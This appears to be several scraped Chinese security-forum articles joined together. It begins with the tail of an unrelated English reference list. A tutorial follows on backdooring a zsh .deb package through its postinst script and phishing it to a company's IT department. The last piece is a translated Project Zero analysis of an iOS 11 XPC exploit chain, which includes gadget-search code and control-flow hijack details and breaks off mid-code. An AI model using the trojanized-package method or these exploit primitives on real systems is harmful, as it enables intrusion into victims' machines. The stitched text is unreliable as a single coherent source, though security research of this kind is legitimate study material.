Retrieved from PortSwigger Research:
<https://portswigger.net/research/cracking-the-lens-targeting-https-hidden-attack-surface>
Kettle, J. (2019). HTTP Desync Attacks: Request Smuggling Reborn. PortSwigger
Web Security.
Modi, C. &. (2017, March). Virtualization layer security challenges and
intrusion detection/prevention systems in cloud computing: a comprehensive
review.
Journal of Supercomputing, 73(3), 1192-1234.
OWASP. (2017). Top 10-2017 A1-Injection. Retrieved from The Open Web
Application Security Project:
<https://www.owasp.org/index.php/Top_10-2017_A1-Injection>
P. K. Shelke, S. S. (2012, May). Intrusion Detection System for Cloud
Computing.
International Journal of Scientific & Technology Research(4).
rain.forest.puppy. (1998, December 25). NT Web Technology Vulnerabilities.
Phrack Magazine, 8(54). Retrieved from <http://phrack.org/issues/54/8.html>
Reese, S. (2018, January 15). Network Traffic Capture in Virtual Enviroments.
Retrieved from rsreese.com: <https://www.rsreese.com/network-traffic-capture-in-virtual-enviroments/>
Sripati, P. (2019, September 26). How To Secure Web Applications With AWS WAF?
Retrieved from AWS Architect Certification Training:
<https://www.edureka.co/blog/secure-web-applications-with-aws-waf/> | 社区文章 |
# 背景
最近重新看到了 deb 安装包详解，发现好多东西都忘记了。温故而知新，在写今天的主题之前，也一起窥探一下 deb 文件的内部结构。
测试环境:
# Debian Package System
很多的 Linux 发行版本都是基于 Debian，最有名的当属 Ubuntu 和 Kali。我们平时安装软件都用 `apt` 或者 `apt-get`，因为他们叫 `Advanced Package Tool`。相比起智弱一点的
`dpkg`，他们可以自动识别并安装依赖。功能虽有差异，但是这两个工具，他们安装的都是统一格式的文件，`deb` 文件。
sudo apt install net-tools
换 `dpkg` 试一下。我们下载一个 zsh 安装包。
wget http://archive.ubuntu.com/ubuntu/pool/main/z/zsh/zsh-dev_5.8.1-1_amd64.deb
使用 `dpkg` 安装。
dpkg -i
# DEB 文件
`deb` 文件里面到底包含了什么？有什么有意思的点我们可以利用吗？
`deb` 文件本质上是一个 `ar` 压缩包，可以使用 `ar` 命令解压查看内部的结构。
ar t zsh-dev_5.8.1-1_amd64.deb
它包含了：
* debian-binary: 该安装包的格式版本
ar p zsh-dev_5.8.1-1_amd64.deb debian-binary
* control.tar.zst: 安装包的控制文件，包含了该安装包的元信息，如版本，架构等；最重要的是，该文件包含了 `preinst`，`postinst` 等安装和移除过程的生命周期脚本
ar p zsh-dev_5.8.1-1_amd64.deb control.tar.zst | tar --use-compress-program=unzstd -tvf -
* data.tar.zst: 程序二进制，会被安装到机器上
ar p zsh-dev_5.8.1-1_amd64.deb data.tar.zst | tar --use-compress-program=unzstd -tvf -
我们现在要关注的，是这个 `control.tar.zst` 控制文件。因为这里面包含了安装文件生命周期之中需要执行的脚本。
这里面有我们可以利用的东西。
## 控制文件
关于控制文件的详细说明，大家可以到[Debian 手册](https://www.debian.org/doc/debian-policy/ch-controlfields) 上查看。
我们关注的是
* preinst
* postinst
* prerm
* postrm
这几个脚本。脚本在安装和卸载过程中的执行顺序，大家可以到[这里](https://people.debian.org/~srivasta/MaintainerScripts.html)，以及[这里](https://wiki.debian.org/MaintainerScripts)查看。
读到这里，大家应该知道我们要干什么了。我们将选择 `postinst` 脚本作为切入点。
写一个小剧本。
假设我们在对某公司做渗透测试，通过某种手段我们已经获得了某邮件服务器的进入权限。我们得知 IT 部门将对某应用（zsh）进行手动升级。
钓鱼的机会来了。
我们可以修改 `postinst` 脚本，重新打包。发送邮件给 IT 部门员工，让其下载我们修改过的安装包。
## PoC
# 创建临时文件夹
mkdir zsh
# 解压安装包到该文件夹
dpkg-deb -R zsh-dev_5.8.1-1_amd64.deb zsh
# 进入 zsh 文件夹
cd zsh
查看一下目录结构，要修改的文件是 `DEBIAN/postinst`。
这是原有内容
我们将在 `/root` 目录下创建一个 `pwn.txt`，写入 `You've been pwned...`。
修改之后的脚本如下。
重新打包。
cd ../..
dpkg-deb -b zsh zsh-update_5.8.2_amd64.deb
## 执行
sudo dpkg -i zsh-update_5.8.2_amd64.deb
我们看一下 root 文件夹。
接下来，我们可以选择写入公钥，或者反弹 shell 的方式来获取目标的控制权。
# 总结
这篇文章学习了 deb
包的内在结构。利用控制文件来执行恶意代码。假设拿下了目标的邮件服务器，知道了企业近期的应用升级计划，就可以使用这样的方式对目标进行邮件钓鱼攻击。
为了避免这样的事情发生，最重要的就是：不要下载和安装不明渠道的 deb 包。
安全最薄弱的一环还是人。
# 参考链接
* <https://www.debian.org/doc/debian-policy/ch-controlfields>
* <https://people.debian.org/~srivasta/MaintainerScripts.html>
* <https://wiki.debian.org/MaintainerScripts> | 社区文章 |
# 深入探索在野外发现的iOS漏洞利用链（三）
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
这一条漏洞利用链的目标是iOS 11-11.4.1，跨越了近10个月的时间。这是我们观察到的第一个具有单独的沙箱逃逸漏洞的利用链。
沙箱逃逸漏洞是libxpc中比较严重的安全性问题，其中重构将导致一个<边界检查变为与边界值的!=比较。被检查的值是直接从IPC消息中读取的，用于索引数组以获取函数指针。
我们很难理解如何将该漏洞引入到最终用户的核心IPC库中。尽管该漏洞在软件开发中非常常见，但在单元测试、代码审计或模糊测试中，很容易能够发现这类严重的问题。但遗憾的是，在实际的案例中，攻击者是第一个发现该漏洞的人，我将会在下方详细描述。
## 在野外的iOS漏洞利用链3：XPC + VXD393/D5500重复IOFree
攻击目标：iPhone 5s – iPhone X，版本从11.0到11.4
设备：
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)
iPhone10,1 (8, D20AP)
iPhone10,2 (8 plus, D21AP)
iPhone10,3 (X, D22AP)
iPhone10,4 (8, D201AP)
iPhone10,5 (8 plus, D211AP)
iPhone10,6 (X, D221AP)
版本：
15A372 (11.0 – 2017年9月19日)
15A402 (11.0.1 – 2017年9月26日)
15A403 (11.0.2 – 2017年9月26日 – 看上去只有8/8plus没有更新15A402版本)
15A421 (11.0.2 – 2017年10月3日)
15A432 (11.0.3 – 2017年10月11日)
15B93 (11.1 – 2017年10月31日)
15B150 (11.1.1 – 2017年11月9日)
15B202 (11.1.2 – 2017年11月16日)
15C114 (11.2 – 2017年12月2日)
15C153 (11.2.1 – 2017年12月13日)
15C202 (11.2.2 – 2018年1月8日)
15D60 (11.2.5 – 2018年1月23日)
15D100 (11.2.6 – 2018年2月19日)
15E216 (11.3 – 2018年3月29日)
15E302 (11.3.1 – 2018年4月24日)
15F79 (11.4 – 2018年5月29日)
第一个不支持的版本：11.4.1 – 2018年7月9日
## 二进制结构
从第三个漏洞利用链开始，privesc二进制文件具有不同的结构。在这里，并不是使用系统加载器并链接所需的符号，而是通过dlsym解析所有必需的符号（dlsym的地址通过JSC漏洞利用中传入）。下面是符号解析函数开始部分的一个片段：
syscall = dlsym(RTLD_DEFAULT, "syscall");
memcpy = dlsym(RTLD_DEFAULT, "memcpy");
memset = dlsym(RTLD_DEFAULT, "memset");
mach_msg = dlsym(RTLD_DEFAULT, "mach_msg");
stat = dlsym(RTLD_DEFAULT, "stat");
open = dlsym(RTLD_DEFAULT, "open");
read = dlsym(RTLD_DEFAULT, "read");
close = dlsym(RTLD_DEFAULT, "close");
...
有趣的是，这似乎只是一个附加列表，并且有很多符号没有使用。在附录A中，我列举了这些内容，并猜测了攻击者可能针对此框架早期版本利用的漏洞。
## 检查是否存在已有攻击
与PE2一样，在内核漏洞利用成功运行后，他们对系统进行了修改，可以从沙箱内部进行观察。这次，攻击者将字符串“iop114”添加到设备的bootargs，可以通过kern.bootargs
sysctl从WebContent沙箱内部读取：
sysctlbyname("kern.bootargs", bootargs, &v7, 0LL, 0LL);
if (strcmp(bootargs, "iop114")) {
syslog(0, "to sleep ...");
while (1)
sleep(1000);
}
## xpc中未经检查的数组索引
XPC（含义可能是Cross Process
Communication，交叉进程通信）是一种IPC机制，它使用mach消息作为传输层。这是在2011年iOS
5版本中引入的。XPC消息是序列化后的对象树，通常在root目录下存有字典。XPC还包含用于公开和管理命名服务的功能，较新的IPC服务往往建立在XPC上，而不是传统的MIG系统上。
XPC被作为安全边界使用，在2011年的苹果全球开发者大会（WWDC）上，Apple明确表示通过XPC隔离的优点在于“如果服务被漏洞利用则几乎没有影响”，并且能“最大限度地减少攻击的影响”。但遗憾的是，XPC漏洞的历史悠久，既存在于核心库中，也存在于服务使用API的过程之中。详细可以参考以下P0问题：80，92，121，130，1247，1713。核心XPC漏洞非常有效，因为这类漏洞允许攻击者以使用XPC的任何进程为目标。
这个特殊的漏洞似乎是在iOS 11的一些重构引入的，就像XPC代码在“快速模式”下解析序列化的xpc字典对象一样。旧版本代码如下：
struct _context {
xpc_dictionary* dict;
char* target_key;
xpc_serializer* result;
int* found
};
int64
_xpc_dictionary_look_up_wire_apply(
char *current_key,
xpc_serializer* serializer,
struct _context *context)
{
if ( !current_key )
return 0;
if (strcmp(context->target_key, current_key))
return _skip_value(serializer);
// key matches; result is current state of serializer
memcpy(context->result, serializer, 0xB0);
*(context->found) = 1;
return 0;
}
xpc_serializer对象是原始未解析的XPC消息的包装器。xpc_serializer类型负责序列化和反序列化。
下面是序列化XPC消息的示例：
在XPC的“慢速模式”中，传入的消息在收到时完全反序列化为XPC对象。相反，快速模式会在首次请求时尝试延迟搜索序列化字典中的值，而不是先解析所有内容。该过程通过将序列化字典中的key与所需key进行比较来完成此操作。如果当前key不匹配，则调用skip_value将当前key的payload值跳转到序列化XPC字典对象中的下一个key。
int skip_value(xpc_serializer* serializer)
{
uint32_t wireid;
uint64_t wire_length;
wireid = read_id(xpc_serializer);
if (wireid == 0x1A000)
return 0LL;
wire_length = xpc_types[wireid >> 12]->wire_length(serializer);
if (wire_length == -1 ||
wire_length > serializer->remaining)
return 0;
// skip over the value
xpc_serializer_advance(serializer, wire_length);
return 1;
}
uint32_t read_id(xpc_serializer* serializer)
{
// ensure there are 4 bytes to be read; return pointer to them
wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);
if ( !wireid_ptr )
return 0x1A000;
uint32_t wireid = *wireid_ptr;
uint32_t typeid = wireid >> 12;
// if any bits other than 12-20 are set,
// or the type_index is 0, fail
if (wireid & 0xFFF00FFF ||
typeid == 0
typeid >= _xpc_ntypes) { // 0x19
return 0x1A000LL;
}
return wireid;
}
skip_value首先调用read_id，它从序列化的消息中读取4个字节。这4个字节是wireid值，负责传递XPC序列化值得类型。read_id还验证wireid是否有效：xpc
typeid包含在wireid的第12-20位中，只有这些位可以设置，typeid的值必须大于0且小于0x19。如果不满足上述条件，那么read_id返回sentinel的wireid值0x1A000。skip_id从read_id和aborts检查此sentinel返回值。如果read_id返回有效的wireid值，则skip_id使用typeid位索引xpc_types数组并调用从那里间接读取的函数指针。
接下来，我们来看看在iOS 11中，这段代码是如何变化的。xpc_dictionary_look_up_wire_apply的原型没有改变：
int64
_xpc_dictionary_look_up_wire_apply(
char *current_key,
xpc_serializer* serializer,
struct _context *context)
{
if (!current_key)
return 0;
if (strcmp(context->target_key, current_key))
return skip_id_and_value(serializer);
memcpy(context->result, serializer, 0xB0);
*(context->found) = 1;
return 0;
}
对skip_value的调用已被替换为对skip_id_and_value的调用，但是：
int64 skip_id_and_value(xpc_serializer* serializer)
{
uint32_t* wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);
if (!wireid_ptr)
return 0;
uint32_t wireid = *wireid_ptr;
if (wireid != 0x1B000)
return skip_value(xpc_serializer, wireid);
return 0;
}
在这里，不再调用read_id（负责读取和验证id），而是由skip_id_and_value读取4个字节的wireid值本身。奇怪的是，它将4个字节的wireid值与0x1B000进行了比较。这比较应该是这样的吗？
wireid < 0x1B000
有一些地方出了严重的错误。
受控的wireid值现在可以是除去0x1B000之外的任何值，该值将传递给skip_value。在使用wireid之前，除了xpc_serializer之外，还有一个不同的原型：
int64
skip_value(xpc_serializer* serializer, uint32_t wireid)
{
// declare function pointer
uint32_t (wire_length_fptr*)(xpc_serializer*);
wire_length_fptr = xpc_wire_length_from_wire_id(wireid);
uint32_t wire_length = wire_length_fptr(serializer)
if (wire_length == -1 ||
wire_length > serializer->remaining) {
return 0;
}
xpc_serializer_advance(serializer, wire_length);
return 1;
}
uint32_t (*)(xpc_serializer*)
xpc_wire_length_from_wire_id(uint32_t wireid)
{
return xpc_types[wireid >> 12]->wire_length;
}
不仅skip_value的原型发生了变化，前提条件也发生了变化。此前，skip_value负责验证消息中的wireid值。而现在，情况已经不是这样了。wireid值直接传递给xpc_wire_length_from_wire_id，其中较低的12位被移出，而较高的20位用于直接索引xpc_types数组。xpc_types是一个指向Objective-C类的指针数组，+0x90处的字段是wire_length函数指针，将由skip_value调用。
那么，所有边界检查都出现了什么问题？很多代码在这里似乎巧妙地改变了。函数的语义发生了变化，最后一个正确的边界检查似乎已经成为一个无效值的比较。
查看其他xpc_wire_length_from_wire_id调用的位置，似乎都被_xpc_class_id_from_wire_valid调用占据了主导地位，这实际上验证了wireid：
int xpc_class_id_from_wire_valid(uint32_t wireid)
{
if (((wire_id - 0x1000) < 0x1A000) &&
((wire_id & 0xFFF00F00) == 0)) {
return 1;
}
return 0;
}
触发这个漏洞非常简单。在iOS 11.0至iOS
11.4.1版本范围之内，只需要在XPC消息中翻转几位，就有可能会触发。这就是我之所以认为模糊测试或单元测试能够很快发现这一漏洞的原因。
## XPC漏洞利用
我们接下来分析一下触发漏洞时会发生什么：
int64 skip_id_and_value(xpc_serializer* serializer)
{
uint32_t* wireid_ptr = xpc_serializer_read(serializer, 4, 0, 0);
if (!wireid_ptr)
return 0;
uint32_t wireid = *wireid_ptr;
if (wireid != 0x1B000)
return skip_value(xpc_serializer, wireid);
xpc_serializer_read返回指向raw
mach消息缓冲区的指针。该过程只会确保至少剩下4个字节可以被读取。只要这4个字节不包含值0x1B000，检查就会通过。
让我们再看看iOS 11版本的skip_value：
int64
skip_value(xpc_serializer* serializer, uint32_t wireid)
{
// declare function pointer
uint32_t (wire_length_fptr*)(xpc_serializer*);
wire_length_fptr = xpc_wire_length_from_wire_id(wireid);
uint32_t wire_length = wire_length_fptr(serializer)
每个XPC类型（例如xpc_dictionary、xpc_string、xpc_uint64）都定义了一个函数，来确定其序列化payload的大小。对于固定大小的对象，例如xpc_uint64，将会只返回一个常量（xpc_uint64
payload总是8个字节大小）：
__xpc_uint64_wire_length
MOV W0, #8
RET
类似地，xpc_uuid对象始终具有0x10字节的payload：
__xpc_uuid_wire_length
MOV W0, #0x10
RET
对于可变大小的类型，需要从序列化对象中读取长度：
__xpc_string_wire_length
B __xpc_wire_length
所有可变大小的xpc对象在其wireid之后，直接以字节为单位记录它们的大小，因此_xpc_wire_length只读取接下来的4个字节，而并不会消耗它们。
_xpc_wire_length_from_wire_id查找正确的函数指针来实现调用：
uint32_t (*)(xpc_serializer*)
xpc_wire_length_from_wire_id(uint32_t wireid)
{
return xpc_types[wireid >> 12]->wire_length;
}
xpc_types是指向相关Objective-C类对象的指针数组：
__xpc_types:
libxpc:__const:DCQ 0
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_null
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_bool
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_int64
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_uint64
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_double
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_pointer
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_date
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_data
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_string
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_uuid
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_fd
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_shmem
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_send
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_array
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_dictionary
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_error
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_connection
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_endpoint
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_serializer
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_pipe
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_recv
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_bundle
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_service
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_service_instance
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_activity
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_file_transfer
__xpc_ool_types:
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_fd
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_shmem
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_send
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_connection
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_endpoint
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_mach_recv
libxpc:__const:DCQ _OBJC_CLASS_$_OS_xpc_file_transfer
每个xpc类型的类对象中，偏移量+0x90处的值是其wire_length函数指针。该函数指针将会使用一个参数调用，该参数是指向当前xpc_serializer对象的指针。
这就给出了一个非常有用的漏洞利用原语：
控制一个数组索引i，可以在0x1c和0x100000之间（因为它是受控wireid值的较高20位）。这样一来，将会索引xpc_types数组到共享缓存中libxpc.dylib库的const段中。代码将在它们提供的偏移量处读取指针（没有经过边界检查），然后在偏移量+0x90处调用函数指针：
当调用F_PTR时，没有寄存器指向受控数据。X0将指向当前的xpc_serializer，因此这似乎是目标的逻辑选择，可以发生更有趣的事情。能间接控制的xpc_serializer对象的相关字段是：
+0x28 = buffer
+0x30 = buffer_size
+0x38 = current_position_in_buffer_ptr
+0x40 = remaining to be consumed
+0x48 = NULL
因此，我们的目标是在0x1C和0x100000之间找到一个值i，这样从xpc_types数组开始的第i个指针包含一个指向结构的指针，在偏移量+0x90处有一个函数指针，当调用时会使用X0+偏移量0x28或X0+偏移量0x38的值做一些有趣的事情，比如从那里调用一个函数指针，并提供更好的寄存器控制。
听起来很有趣，但具体是如何做到的呢？
## 百万分之一
选项A：
前一条指令的较高8位必须为0x17；
目标F_PTR指令的较高16位必须为0x17ff；
下一条指令必须为0xd1004000（sub x0, x0, #0x10）。
选项B：
小工具的指针必须指向与以下模板匹配的9条指令序列：
0 STP X20, X19, [SP,#-0x20]!
1 STP X29, X30, [SP,#0x10]
2 ADD X29, SP, #0x10
3 MOV X19, X0
4 *
5 *
6 add x9, x8, #0x10
7 *
8 add x8, x8, #0x1e0
我重新实现了他们的小程序搜索代码，并在一些设备上对其进行了测试，并有所发现：
#include "xpc.h"
#include <dlfcn.h>
#include <string.h>
int syscall(int, ...);
void* xpc_null_create(void);
void find_it() {
void* handle = dlopen("/usr/lib/system/libxpc.dylib", 2);
if (!handle) {
printf("unable to dlopen libxpcn");
return;
}
printf("handle: %pn", handle);
void* xpc_type_null = dlsym(handle, "_xpc_type_null");
printf("xpc_type_null: %pn", xpc_type_null);
void** xpc_null = xpc_null_create();
printf("xpc_null: %pn", xpc_null);
xpc_null -= 2;
uint8_t* xpc_types = NULL;
for (int i = 0; i < 0x10000; i++) {
if (*xpc_null == xpc_type_null) {
xpc_types = (uint8_t*)(xpc_null - 1);
break;
}
xpc_null--;
}
if (xpc_types == NULL) {
printf("didn't find xpc_typesn");
return;
}
printf("found xpc_types here: %pn", xpc_types);
uint8_t* shared_cache_base = NULL;
syscall(294, &shared_cache_base);
printf("shared_cache_base: %pn", shared_cache_base);
// how big is the cache mapping which we can potentially point to?
uint32_t mapping_offset = *(uint32_t*)(shared_cache_base+0x10);
uint32_t n_mappings = *(uint32_t*)(shared_cache_base+0x14);
uint8_t* mapping_info = shared_cache_base+mapping_offset;
uint64_t cache_size = 0;
for (int i = 0; i < n_mappings-1; i++) {
cache_size += *(uint64_t*)(mapping_info+0x08);
mapping_info += 0x20;
}
printf("cache_size: %llxn", cache_size);
for (int i = 0; i < 0x7fffff; i++) {
// try each typeid and see what gadget we hit:
uint8_t* type_struct_ptr = (xpc_types + (8*i));
uint8_t* type_struct = *(uint8_t**)(type_struct_ptr);
if ((type_struct > shared_cache_base) &&
(type_struct < (shared_cache_base+cache_size)))
{
uint8_t* fptr = *(uint8_t**)(type_struct+0x90);
if (fptr > shared_cache_base && fptr < (shared_cache_base + cache_size))
{
// try the shorter signature
if (instr[-1] >> 0x18 == 0x17 &&
instr[0] >> 0x10 == 0x17ff &&
instr[1] == 0xD1004000) {
printf("shorter sequence match at %pn", fptr);
}
// try the longer signature
uint32_t gadget[4] = {0xA9BE4FF4, // STP X20, X19, [SP,#-0x20]!
0xA9017BFD, // STP X29, X30, [SP,#0x10]
0x910043FD, // ADD X29, SP, #0x10
0xAA0003F3}; // MOV X19, X0
uint32_t* instr = (uint32_t*)fptr;
if((memcmp(fptr, (void*)gadget, 0x10) == 0) &&
instr[6] == 0x91004109 && // ADD X9, X8, #0x10
instr[8] == 0x91078108) // ADD X8, X8, #0x1e0
{
printf("potential initial match here: %pn", fptr);
}
}
}
}
printf("donen");
}
选项B的签名与libfontparser中的以下函数匹配：
TXMLSplicedFont::~TXMLSplicedFont(TXMLSplicedFont *__hidden this)
var_10= -0x10
var_s0= 0
STP X20, X19, [SP,#-0x10+var_10]!
STP X29, X30, [SP,#0x10+var_s0]
ADD X29, SP, #0x10
MOV X19, X0
ADRP X8, #__ZTV15TXMLSplicedFont@PAGE ; `vtable for'TXMLSplicedFont
ADD X8, X8, #__ZTV15TXMLSplicedFont@PAGEOFF ; `vtable for'TXMLSplicedFont
ADD X9, X8, #0x10
STR X9, [X19]
ADD X8, X8, #0x1E0
STR X8, [X19,#0x10]
ADD X0, X19, #0x48 ; 'H' ; this
BL __ZN13TCFDictionaryD2Ev ; TCFDictionary::~TCFDictionary()
ADD X0, X19, #0x30 ; '0' ; this
BL __ZN26TDataForkFileDataReferenceD1Ev ; TDataForkFileDataReference::~TDataForkFileDataReference()
MOV X0, X19 ; this
LDP X29, X30, [SP,#0x10+var_s0]
LDP X20, X19, [SP+0x10+var_10],#0x20
B __ZN5TFontD2Ev ; TFont::~TFont()
选项A的分支指令代码与之相同：
B 0x1856b1cd4 ; TXMLSplicedFont::~TXMLSplicedFont()
我们来逐步分析TXMLSplicedFont析构函数代码，看看会发生什么。请记住，此时X0指向xpc_serializer对象：
MOV X19, X0
ADRP X8, #__ZTV15TXMLSplicedFont@PAGE ; `vtable for'TXMLSplicedFont
ADD X8, X8, #__ZTV15TXMLSplicedFont@PAGEOFF ; `vtable for'TXMLSplicedFont
ADD X9, X8, #0x10
STR X9, [X19]
该过程将TXMLSplicedFont vtable指针写入xpc_serializer的前8个字节，这并没有问题。
ADD X8, X8, #0x1E0
STR X8, [X19,#0x10]
这样将会在偏移量+0x10处的8个字节写入另一个vtable指针，这也还好。
ADD X0, X19, #0x48 ; 'H' ; this
BL __ZN13TCFDictionaryD2Ev ; TCFDictionary::~TCFDictionary()
将X0加上0x48，并将该指针作为TCFDictionary析构函数的第一个参数传递：
void
TCFDictionary::~TCFDictionary(TCFDictionary *__hidden this)
var_10= -0x10
var_s0= 0
STP X20, X19, [SP,#-0x10+var_10]!
STP X29, X30, [SP,#0x10+var_s0]
ADD X29, SP, #0x10
MOV X19, X0
LDR X0, [X19]
CBZ X0, loc_18428B484
...
loc_18428B484
MOV X0, X19
LDP X29, X30, [SP,#0x10+var_s0]
LDP X20, X19, [SP+0x10+var_10],#0x20
RET
由于+0x48处的值为NULL，因此会返回。回到~TXMLSplicedFont：
ADD X0, X19, #0x30 ; '0' ; this
BL __ZN26TDataForkFileDataReferenceD1Ev ;TDataForkFileDataReference::~TDataForkFileDataReference()
这会将xpc_serializer指针加上0x30，并将其传递给TDataForkFileDataReference析构函数：
TDataForkFileDataReference::~TDataForkFileDataReference(TDataForkFileDataReference *__hidden this)
B __ZN18TFileDataSurrogateD2Ev ; TFileDataSurrogate::~TFileDataSurrogate()
这会直接调用TFileDataSurrogate析构函数：
void
TFileDataSurrogate::~TFileDataSurrogate(TFileDataSurrogate *__hidden this)
var_18= -0x18
var_10= -0x10
var_s0= 0
SUB SP, SP, #0x30
STP X20, X19, [SP,#0x20+var_10]
STP X29, X30, [SP,#0x20+var_s0]
ADD X29, SP, #0x20
MOV X19, X0
ADRP X8, #__ZTV18TFileDataSurrogate@PAGE ; `vtable for'TFileDataSurrogate
ADD X8, X8, #__ZTV18TFileDataSurrogate@PAGEOFF ; `vtable for'TFileDataSurrogate
ADD X8, X8, #0x10
STR X8, [X19] ; trash +0x30; no problem
LDR X0, [X19,#8] ; read from serializer+0x38, which is the pointer to the current position in the buffer
LDR X8, [X0,#0x18]! ; read at offset +0x18, and bump up X0 to point to there
LDR X8, [X8,#0x20] ; X8 is controlled now; read function pointer
BLR X8 ; control!
在进入此函数时，X0将指向xpc_serializer对象的0x30字节。我们再次来看看那些xpc_serializer字段：
+0x28 = buffer
+0x30 = buffer_size
+0x38 = current_position_in_buffer_ptr
+0x40 = remaining to be consumed
+0x48 = NULL
STR X8, [X19]将使用vtable覆盖buffer_size字段。这一过程非常有趣，但不会发生任何不好的事情。
下一条指令LDR X0,
[X19,#8]会将xpc_serializer缓冲区位置指针加载到X0。现在X0指向序列化的xpc消息缓冲区。实际上，我们已经越来越接近任意控制。
LDR X8,
[X0,#0x18]!会将偏移量+0x18处的8字节值从当前xpc_serializer缓冲区位置加载到X8中，并将X0更新为指向该位置。这意味着，X8可以被任意控制，具体取决于序列化XPC消息的结构。
最后两条指令随后从X8的偏移量加载一个函数指针并调用：
LDR X8, [X8,#0x20]
BLR X8
整个小工具真的非常简洁。我很想知道如何能找到这个目标小工具。这是符号执行等技术的理想化实践。与此同时，我们也可以通过测试所有可能的值，并寻找值得注意的崩溃来找到它。
## 消息
初步看上去，漏洞利用中构建触发器XPC消息的代码肯定不能成为触发器：
xpc_dictionary = xpc_dictionary_create(0LL, 0LL, 0LL);
xpc_true = xpc_bool_create(1);
xpc_dictionary_set_value(xpc_dictionary, crafted_dict_entry_key_containing_value, xpc_true);
xpc_dictionary_set_value(xpc_dictionary, invalid_dict_entry_key, xpc_connection);
xpc_connection_send_message(xpc_connection, xpc_dictionary);
需要使用两个键和两个值来创建一个XPC字典，然后将其发送。
下面是iOS 11.0中的xpc_connection_serialize：
int64
xpc_connection_serialize(xpc_object* connection, xpc_serializer* serializer)
{
syslog(3, "Connections cannot be directly embedded in messages. You must create an endpoint from the connection.");
}
该过程只是记录一条错误信息并返回。这里的问题在于，该过程会导致序列化程序不同步。具体而言，xpc_dictionary序列化程序不希望对无法序列化的对象进行序列化，例如xpc_connections。XPC字典序列化格式的本质上是一个总长度加上一系列交替的、以空值终止的键和值。如果值序列化程序不发出任何字节（例如上面的xpc_connection），那么序列化程序将继续发出字典中的下一个键，然后是下一个值。但是在XPC中无法使用没有值的序列化字典键，这意味着XPC反序列化代码会把接下来键的字节解释为前一个键的值。需要注意的是，这不是安全问题，发送者无论如何都会对这些字节进行任意控制，但这是一个非常巧妙的技巧，可以避免编写整个XPC序列化库。
这是序列化xpc字典的相关部分。使用xpc_connection_serialize技巧，将发送第二个键，其中值的应该是xpc延迟反序列化代码将bad_wireID值视为wire_ID。当发生越界读取的情况时，xpc_serializer的当前缓冲区位置指针将指向bad_wireID值之后。之后的0x18字节是指向它们以堆喷射为目标的地址的指针，并且在距离该地址的偏移量+
0x20处，将读取并调用函数指针。
## 堆喷射
目前，攻击者已经实现对受控地址的受控数据的操纵。攻击者决定使用堆喷射的方法，而不是以受控方式来执行此操作。
实际上，攻击者使用了两个相似的原语，在目标进程中喷射大量内存区域和mach端口发送权限。
多年来，我和其他研究人员发表了许多篇关于MIG的文章，其中的一些场景也非常复杂。重点在于，我们分析的重点在于那些语义导致可以实现漏洞利用的地方，但与此同时还有一些相同的复杂语义可能导致资源泄露，而后者也就是攻击者在此之后所做的事情。
稍后我们将返回到堆喷射的内容，但现在，让我们看看它们是如何在mediaserverd进程中实现泄露的。这个守护进程是目标，因为它的沙箱配置文件允许它打开与内核漏洞利用中使用的易受攻击的IOKit驱动程序的连接。
## mediaserverd
mediaserverd可以提供许多服务。攻击者的目标是在Celestial框架中实现的com.apple.coremedia.recorder。目标服务从FigRecorderServerStart开始，它调用bootstrap_check_in以获得服务的接收权限。该端口被CFMachPortCreateWithPort包装在CFMachPort中。在CFMachPort中，他们通过CFMachPortCreateRunLoopSource创建一个运行循环源。这将建立一个基本的mach消息事件处理系统，当在服务端口接收到mach消息时，运行循环代码将会调用以下函数：
void
FIG_recorder_mach_msg_handler(CFMachPortRef cfport,
mach_msg_header_t *request_msg
CFIndex size,
void* info)
{
char reply_msg[0x290];
kern_return_t err;
if ( request_msg->msgh_id == MACH_NOTIFY_DEAD_NAME ) {
mach_dead_name_notification_t* notification =
(mach_dead_name_notification_t*) request_msg;
mach_port_name_t dead_name = notification->not_port;
...
// look dead_name up in a linked-list and destroy
// some resources if found
...
// calls mach_port_deallocate
